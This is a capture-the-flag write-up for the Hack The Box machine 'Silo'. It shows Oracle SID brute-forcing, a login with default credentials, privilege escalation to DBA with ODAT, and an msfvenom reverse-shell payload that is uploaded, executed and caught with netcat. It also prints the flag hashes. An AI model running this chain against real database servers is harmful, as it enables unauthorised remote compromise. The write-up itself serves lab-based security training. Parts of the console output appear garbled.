

Silo: 10.10.10.82 OS: Windows DB: Oracle

# export ip=10.10.10.82 # ./htbscan.py \$ip 300

Running command: sudo masscan -e tun0 -p0-65535 --max-rate 300 --interactive 10.10.10.82

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-08-02 18:29:57 GMT

-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 1 hosts [65536 ports/host]

Discovered open port 445/tcp on 10.10.10.82

Discovered open port 49162/tcp on 10.10.10.82

Discovered open port 135/tcp on 10.10.10.82

Discovered open port 49153/tcp on 10.10.10.82

Discovered open port 47001/tcp on 10.10.10.82

Discovered open port 49152/tcp on 10.10.10.82

Discovered open port 49158/tcp on 10.10.10.82

Discovered open port 49161/tcp on 10.10.10.82

Discovered open port 49155/tcp on 10.10.10.82

Discovered open port 49160/tcp on 10.10.10.82

Discovered open port 49154/tcp on 10.10.10.82

Discovered open port 139/tcp on 10.10.10.82

Discovered open port 1521/tcp on 10.10.10.82

## PORT STATE SERVICE **VERSION**

Microsoft Windows RPC 135/tcp open msrpc

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized) 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

\_http-server-header: Microsoft-HTTPAPI/2.0

http-title: Not Found

49152/tcp open msrpc Microsoft Windows RPC Microsoft Windows RPC 49153/tcp open msrpc 49154/tcp open msrpc Microsoft Windows RPC Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc

49160/tcp open oracle-tns Oracle TNS listener (requires service name)

49161/tcp open msrpc Microsoft Windows RPC 49162/tcp open msrpc Microsoft Windows RPC

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Aggressive OS guesses: Microsoft Windows Server 2012 (96%), Microsoft Windows Server 2012 R2 (96%), Microsoft Windows Server 2012 R2 Update 1 (96%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (96%), Microsoft Windows Vista SP1 (96%), Microsoft Windows Server 2008 SP2 Datacenter Version (94%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (93%), Microsoft Windows Server 2008 SP1 (93%), Microsoft Windows Server 2008 SP2 (93%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

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Host script results:
clock-skew: mean: -40s, deviation: 0s, median: -40s
 smb-security-mode:
  authentication level: user
  challenge response: supported
 _ message_signing: supported
 smb2-security-mode:
 2.02:
   Message signing enabled but not required
smb2-time:
  date: 2018-08-02 15:03:33
start date: 2018-07-29 23:56:44
POR 1521 is open lets enumerate
# nmap --script oracle-sid-brute $ip
PORT
        STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1521/tcp open oracle
oracle-sid-brute:
_ XE
NOTE: Read the odat tool GitHub to install sqlplus you will need it latter.
Now we use ODAT tool to enumerate and exploit the host.
# ./odat.py all -s $ip -d XE -U scott -P tiger
[1] (10.10.10.82:1521): Is it vulnerable to TNS poisoning (CVE-2012-1675)?
[+] The target is vulnerable to a remote TNS poisoning
[2] (10.10.10.82:1521): Testing all modules on the XE SID with the scott/tiger account
[2.1] UTL_HTTP library?
[-] KO
[2.2] HTTPURITYPE library?
[+] OK
[2.3] UTL_FILE library?
[+] OK
[2.4] JAVA library?
[-] KO
[2.5] DBMSADVISOR library?
[+] OK
[2.6] DBMSSCHEDULER library?
[-] KO
[2.7] CTXSYS library?
[+] OK
[2.8] Hashed Oracle passwords?
[+] OK
[2.9] Hashed Oracle passwords from history?
[-] KO
[2.10] DBMS_XSLPROCESSOR library?
[+] OK
[2.11] External table to read files?
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[-] KO
[2.12] External table to execute system commands?
[-] KO
[2.13] Oradbg?
[-] KO
[2.14] DBMS_LOB to read files?
[+] OK
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So the target is vulnerable to a remote TNS poisoning and have some oracle modules enabled, let's use it. Remember to read the odat wiki carefully.

Use ODAT to enumerate the user and password, I found (SCOTT/TIGER).

# sqlplus -L scott/tiger@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.10.10.82) (PORT=1521))(CONNECT\_DATA=(SID=XE)))

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Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

Vergrams

SQL> | Connected to:
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Welcome to 192.168.56.103
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## **DATABASE PRIVESC**

# ./odat.py privesc -s 10.10.10.82 -d XE -U scott -P tiger --sysdba --dba-with-execute-any-procedure

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root@kali:~/odat# ./odat.py privesc -s 10.10.10.82 -d XE -U scott -P tiger --sysdba --dba-with-execute-any-procedure
[1] (10.10.10.82:1521): Grant DBA role to current user with CREATE/EXECUTE ANY PROCEDURE method
[+] The DBA role has been granted to this current user
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Now confirm that the dba role has been added.

SQL> select \* from user\_role\_privs;

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SQL> select * from user role privs;
                                  GRANTED ROLE
                                                                    ADM DEF OS
USERNAME
SC0TT
                                 CONNECT
                                                                   NO
                                                                        YES
                                                                            NO
SC0TT
                                 DBA
                                                                   NO
                                                                        YES NO
SC0TT
                                 RESOURCE
                                                                        YES NO
S0L>
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There's the dba role added to Scott

## **EXPLOITATION**

Create the exploit with msfvenom

# msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=10.10.14.3 LPORT=5555 EXITFUNC=thread -f exe > shell.exe

Now use ODAT utifile module to upload the exploit and externaltable to execute it

# ./odat.py utlfile -s 10.10.10.82 -d XE -U scott -P tiger --putFile /Users/Administrator/ Desktop/ exploit.exe shell.exe

root@kali:~/odat# ./odat.py utlfile -s 10.10.10.82 -d XE -U scott -P tiger --putFile /Users/Administrator/Desktop/ exploit.exe shell.exe
[1] (10.10.10.82:1521): Put the shell.exe local file in the /Users/Administrator/Desktop/ folder like exploit.exe on the 10.10.10.82 server
[+] The shell.exe file was created on the /Users/Administrator/Desktop/ directory on the 10.10.10.82 server like the exploit.exe file

Create the listener on port 5555

# nc -nlvp 5555

Execute the exploit

# ./odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --exec /Users/Administrator/ Desktop/ exploit.exe

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root@kali:~/odat# nc -nlvp 5555
listening on [any] e5555 Security Kali Linux Kali Docs Kali Tools
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.82] 49261
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\oraclexe\app\oracle\product\11.2.0\server\DATABASE>
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Now let's get the flags

# net user

There's user Administrator and Phineas

# type C:\Users\Phineas\Desktop\user.txt
# type C:\Users\Administrator\Desktop\root.txt

## **FLAGS**

User: 92ede778a1cc8d27cb6623055c331617 Root: cd39ea0af657a495e33bc59c7836faf6

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